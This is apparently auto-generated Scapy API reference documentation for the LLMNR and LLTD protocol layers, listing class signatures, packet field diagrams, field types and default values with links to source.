class scapy.layers.llmnr.LLMNRQuery(_pkt, /, *, id=0, qr=0, opcode=0, c=0, tc=0, t=0, z=0, rcode=0, qdcount=None, ancount=None, nscount=None, arcount=None, qd=[], an=[], ns=[], ar=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/llmnr.py#L38-L68]

	Bases: DNSCompressedPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               ID              |Q| OPCODE|C|T|T|   Z   | RCODE |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            QDCOUNT            |            ANCOUNT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            NSCOUNT            |            ARCOUNT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               QD              |               AN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               NS              |               AR              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. LLMNRQuery                          


LLMNRQuery fields






	id

	ShortField

	0



	qr

	BitField  (1 bit)

	0



	opcode

	BitEnumField

	0



	c

	BitField  (1 bit)

	0



	tc

	BitField  (1 bit)

	0



	t

	BitField  (1 bit)

	0



	z

	BitField  (4 bits)

	0



	rcode

	BitEnumField

	0



	qdcount

	FieldLenField

	None



	ancount

	FieldLenField

	None



	nscount

	FieldLenField

	None



	arcount

	FieldLenField

	None



	qd

	_DNSPacketListField

	[]



	an

	_DNSPacketListField

	[]



	ns

	_DNSPacketListField

	[]



	ar

	_DNSPacketListField

	[]











	
get_full()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/llmnr.py#L52-L54]

	




	
hashret()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/llmnr.py#L56-L57]

	




	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/llmnr.py#L59-L68]

	








	
class scapy.layers.llmnr.LLMNRResponse(_pkt, /, *, id=0, qr=1, opcode=0, c=0, tc=0, t=0, z=0, rcode=0, qdcount=None, ancount=None, nscount=None, arcount=None, qd=[], an=[], ns=[], ar=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/llmnr.py#L71-L79]

	Bases: LLMNRQuery


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/llmnr.py#L75-L79]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               ID              |Q| OPCODE|C|T|T|   Z   | RCODE |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            QDCOUNT            |            ANCOUNT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            NSCOUNT            |            ARCOUNT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               QD              |               AN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               NS              |               AR              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. LLMNRResponse                        


LLMNRResponse fields






	id

	ShortField

	0



	qr

	BitField  (1 bit)

	1



	opcode

	BitEnumField

	0



	c

	BitField  (1 bit)

	0



	tc

	BitField  (1 bit)

	0



	t

	BitField  (1 bit)

	0



	z

	BitField  (4 bits)

	0



	rcode

	BitEnumField

	0



	qdcount

	FieldLenField

	None



	ancount

	FieldLenField

	None



	nscount

	FieldLenField

	None



	arcount

	FieldLenField

	None



	qd

	_DNSPacketListField

	[]



	an

	_DNSPacketListField

	[]



	ns

	_DNSPacketListField

	[]



	ar

	_DNSPacketListField

	[]















	
class scapy.layers.llmnr.LLMNR_am(self, joker=None, match=None, srvmatch=None, joker6=False, relay=False, from_ip=None, from_ip6=None, src_ip=None, src_ip6=None, ttl=10)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/llmnr.py#L103-L106]

	Bases: DNS_am


	
cls[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/llmnr.py#L38-L68]

	alias of LLMNRQuery






	
filter: str | None = 'udp port 5355'

	




	
function_name = 'llmnrd'

	




	
optam0: Dict[str, Any]

	




	
optam1: Dict[str, Any]

	




	
optam2: Dict[str, Any]

	




	
optsend: Dict[str, Any]

	




	
optsniff: Dict[str, Any]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.layers.lltd

LLTD Protocol

https://msdn.microsoft.com/en-us/library/cc233983.aspx


	
class scapy.layers.lltd.LLTD(_pkt, /, *, version=1, tos=0, reserved=0, function=0, real_dst=None, real_src=None, xid=0, seq=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/lltd.py#L31-L140]

	Bases: Packet


	
aliastypes

	




	
answer_hashret = {(0, 12): (0, 11), (1, 1): (0, 0)}

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/lltd.py#L115-L140]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TOS      |    RESERVED   |    FUNCTION   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            REAL DST                           |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            REAL SRC           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              XID              |              SEQ              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. LLTD                             


LLTD fields






	version

	ByteField

	1



	tos

	ByteEnumField

	0



	reserved

	ByteField

	0



	function

	MultiEnumField (Depends on 0)

	0



	real_dst

	MACField

	None



	real_src

	MACField

	None



	xid

	ShortField (Cond)

	0



	seq

	ShortField (Cond)

	0











	
hashret()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/lltd.py#L110-L113]

	




	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/lltd.py#L102-L108]

	




	
payload_guess

	Possible sublayers:
LLTDDiscover, LLTDEmit, LLTDHello, LLTDQueryLargeTlvResp, LLTDQueryLargeTlv, LLTDQueryResp






	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/lltd.py#L90-L100]

	








	
class scapy.layers.lltd.LLTDAttribute(_pkt, /, *, type=0, len=None, value=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/lltd.py#L268-L304]

	Bases: Packet


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *_, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/lltd.py#L294-L304]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. LLTDAttribute                        


LLTDAttribute fields






	type

	ByteEnumField

	0



	len

	FieldLenField

	None



	value

	StrLenField

	b''











	
payload_guess

	Possible sublayers:
LLTDAttribute, Padding






	
show_indent = False

	




	
show_summary = False

	








	
class scapy.layers.lltd.LLTDAttribute80211MaxRate(_pkt, /, *, len=2, rate=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/lltd.py#L674-L680]

	Bases: LLTDAttribute


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |              RATE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. LLTDAttribute80211MaxRate                  


LLTDAttribute80211MaxRate fields






	type

	ByteEnumField

	9



	len

	ByteField

	2



	rate

	ShortField

	0















	
class scapy.layers.lltd.LLTDAttribute80211PhysicalMedium(_pkt, /, *, len=1, medium=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/lltd.py#L742-L756]

	Bases: LLTDAttribute


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |     MEDIUM    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. LLTDAttribute80211PhysicalMedium               


LLTDAttribute80211PhysicalMedium fields






	type

	ByteEnumField

	21



	len

	ByteField

	1



	medium

	ByteEnumField

	0















	
class scapy.layers.lltd.LLTDAttributeCharacteristics(_pkt, /, *, len=None, flags=<Flag 0 ()>, reserved1=0, reserved2=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/lltd.py#L355-L367]

	Bases: LLTDAttribute


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |  FLAGS  |      RESERVED1      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           RESERVED2           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. LLTDAttributeCharacteristics                 


LLTDAttributeCharacteristics fields






	type

	ByteEnumField

	2



	len

	FieldLenField

	None



	flags

	FlagsField

	<Flag 0 ()>



	reserved1

	BitField  (11 bits)

	0



	reserved2

	StrLenField

	b''















	
class scapy.layers.lltd.LLTDAttributeDeviceUUID(_pkt, /, *, len=None, uuid=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/lltd.py#L722-L728]

	Bases: LLTDAttribute


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |              UUID             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. LLTDAttributeDeviceUUID                   


LLTDAttributeDeviceUUID fields






	type

	ByteEnumField

	18



	len

	FieldLenField

	None



	uuid

	StrLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'















	
class scapy.layers.lltd.LLTDAttributeEOP(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/lltd.py#L337-L340]

	Bases: LLTDAttribute


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |
+-+-+-+-+-+-+-+-+

                      Fig. LLTDAttributeEOP                       


LLTDAttributeEOP fields






	type

	ByteEnumField

	0















	
class scapy.layers.lltd.LLTDAttributeHostID(_pkt, /, *, len=6, mac='00:00:00:00:00:00')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/lltd.py#L343-L352]

	Bases: LLTDAttribute


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |              MAC              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. LLTDAttributeHostID                     


LLTDAttributeHostID fields






	type

	ByteEnumField

	1



	len

	ByteField

	6



	mac

	MACField

	'00:00:00:00:00:00'











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/lltd.py#L351-L352]

	








	
class scapy.layers.lltd.LLTDAttributeIPv4Address(_pkt, /, *, len=4, ipv4='0.0.0.0')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/lltd.py#L656-L662]

	Bases: LLTDAttribute


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |              IPV4             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. LLTDAttributeIPv4Address                   


LLTDAttributeIPv4Address fields






	type

	ByteEnumField

	7



	len

	ByteField

	4



	ipv4

	IPField

	'0.0.0.0'















	
class scapy.layers.lltd.LLTDAttributeIPv6Address(_pkt, /, *, len=16, ipv6='::')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/lltd.py#L665-L671]

	Bases: LLTDAttribute


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |              IPV6             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. LLTDAttributeIPv6Address                   


LLTDAttributeIPv6Address fields






	type

	ByteEnumField

	8



	len

	ByteField

	16



	ipv6

	IP6Field

	'::'















	
class scapy.layers.lltd.LLTDAttributeLargeTLV(_pkt, /, *, len=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/lltd.py#L701-L706]

	Bases: LLTDAttribute


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. LLTDAttributeLargeTLV                    


LLTDAttributeLargeTLV fields






	type

	ByteEnumField

	14



	len

	ByteField

	0















	
class scapy.layers.lltd.LLTDAttributeLinkSpeed(_pkt, /, *, len=4, speed=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/lltd.py#L692-L698]

	Bases: LLTDAttribute


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             SPEED             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. LLTDAttributeLinkSpeed                    


LLTDAttributeLinkSpeed fields






	type

	ByteEnumField

	12



	len

	ByteField

	4



	speed

	IntField

	0















	
class scapy.layers.lltd.LLTDAttributeMachineName(_pkt, /, *, len=None, hostname=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/lltd.py#L709-L719]

	Bases: LLTDAttribute


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |            HOSTNAME           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. LLTDAttributeMachineName                   


LLTDAttributeMachineName fields






	type

	ByteEnumField

	15



	len

	FieldLenField

	None



	hostname

	StrLenFieldUtf16

	b''











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/lltd.py#L717-L719]

	








	
class scapy.layers.lltd.LLTDAttributePerformanceCounterFrequency(_pkt, /, *, len=8, freq=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/lltd.py#L683-L689]

	Bases: LLTDAttribute


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |              FREQ             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

          Fig. LLTDAttributePerformanceCounterFrequency           


LLTDAttributePerformanceCounterFrequency fields






	type

	ByteEnumField

	10



	len

	ByteField

	8



	freq

	LongField

	0















	
class scapy.layers.lltd.LLTDAttributePhysicalMedium(_pkt, /, *, len=4, medium=6)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/lltd.py#L370-L653]

	Bases: LLTDAttribute


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             MEDIUM            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. LLTDAttributePhysicalMedium                 


LLTDAttributePhysicalMedium fields






	type

	ByteEnumField

	3



	len

	ByteField

	4



	medium

	IntEnumField

	6















	
class scapy.layers.lltd.LLTDAttributeQOSCharacteristics(_pkt, /, *, len=4, flags=<Flag 0 ()>, reserved1=0, reserved2=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/lltd.py#L731-L739]

	Bases: LLTDAttribute


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |FLAGS|        RESERVED1        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           RESERVED2           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. LLTDAttributeQOSCharacteristics               


LLTDAttributeQOSCharacteristics fields






	type

	ByteEnumField

	20



	len

	ByteField

	4



	flags

	FlagsField

	<Flag 0 ()>



	reserved1

	BitField  (13 bits)

	0



	reserved2

	ShortField

	0















	
class scapy.layers.lltd.LLTDAttributeSeesList(_pkt, /, *, len=2, max_entries=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/lltd.py#L759-L765]

	Bases: LLTDAttribute


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |          MAX ENTRIES          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. LLTDAttributeSeesList                    


LLTDAttributeSeesList fields






	type

	ByteEnumField

	25



	len

	ByteField

	2



	max_entries

	ShortField

	0















	
class scapy.layers.lltd.LLTDDiscover(_pkt, /, *, gen_number=0, stations_count=None, stations_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/lltd.py#L153-L165]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           GEN NUMBER          |         STATIONS COUNT        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         STATIONS LIST         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. LLTDDiscover                         


LLTDDiscover fields






	gen_number

	ShortField

	0



	stations_count

	FieldLenField

	None



	stations_list

	FieldListField

	[]











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/lltd.py#L163-L165]

	








	
class scapy.layers.lltd.LLTDEmit(_pkt, /, *, descs_count=None, descs_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/lltd.py#L178-L189]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          DESCS COUNT          |           DESCS LIST          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. LLTDEmit                           


LLTDEmit fields






	descs_count

	FieldLenField

	None



	descs_list

	PacketListField

	[]











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/lltd.py#L187-L189]

	








	
class scapy.layers.lltd.LLTDEmiteeDesc(_pkt, /, *, type=0, pause=0, src=None, dst='00:00:00:00:00:00')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/lltd.py#L168-L175]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |     PAUSE     |              SRC              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DST                              |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. LLTDEmiteeDesc                        


LLTDEmiteeDesc fields






	type

	ByteEnumField

	0



	pause

	ByteField

	0



	src

	MACField

	None



	dst

	MACField

	'00:00:00:00:00:00'











	
payload_guess

	Possible sublayers:
Padding










	
class scapy.layers.lltd.LLTDHello(_pkt, /, *, gen_number=0, current_mapper_address='00:00:00:00:00:00', apparent_mapper_address='00:00:00:00:00:00')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/lltd.py#L143-L150]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           GEN NUMBER          |     CURRENT MAPPER ADDRESS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    APPARENT MAPPER ADDRESS                    |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. LLTDHello                          


LLTDHello fields






	gen_number

	ShortField

	0



	current_mapper_address

	MACField

	'00:00:00:00:00:00'



	apparent_mapper_address

	MACField

	'00:00:00:00:00:00'











	
payload_guess

	Possible sublayers:
LLTDAttribute






	
show_summary = False

	








	
class scapy.layers.lltd.LLTDQueryLargeTlv(_pkt, /, *, type=14, offset=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/lltd.py#L226-L242]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |                     OFFSET                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                      Fig. LLTDQueryLargeTlv                      


LLTDQueryLargeTlv fields






	type

	ByteEnumField

	14



	offset

	ThreeBytesField

	0











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/lltd.py#L241-L242]

	








	
class scapy.layers.lltd.LLTDQueryLargeTlvResp(_pkt, /, *, flags=<Flag 0 ()>, len=None, value=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/lltd.py#L245-L265]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|FLA|            LEN            |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. LLTDQueryLargeTlvResp                    

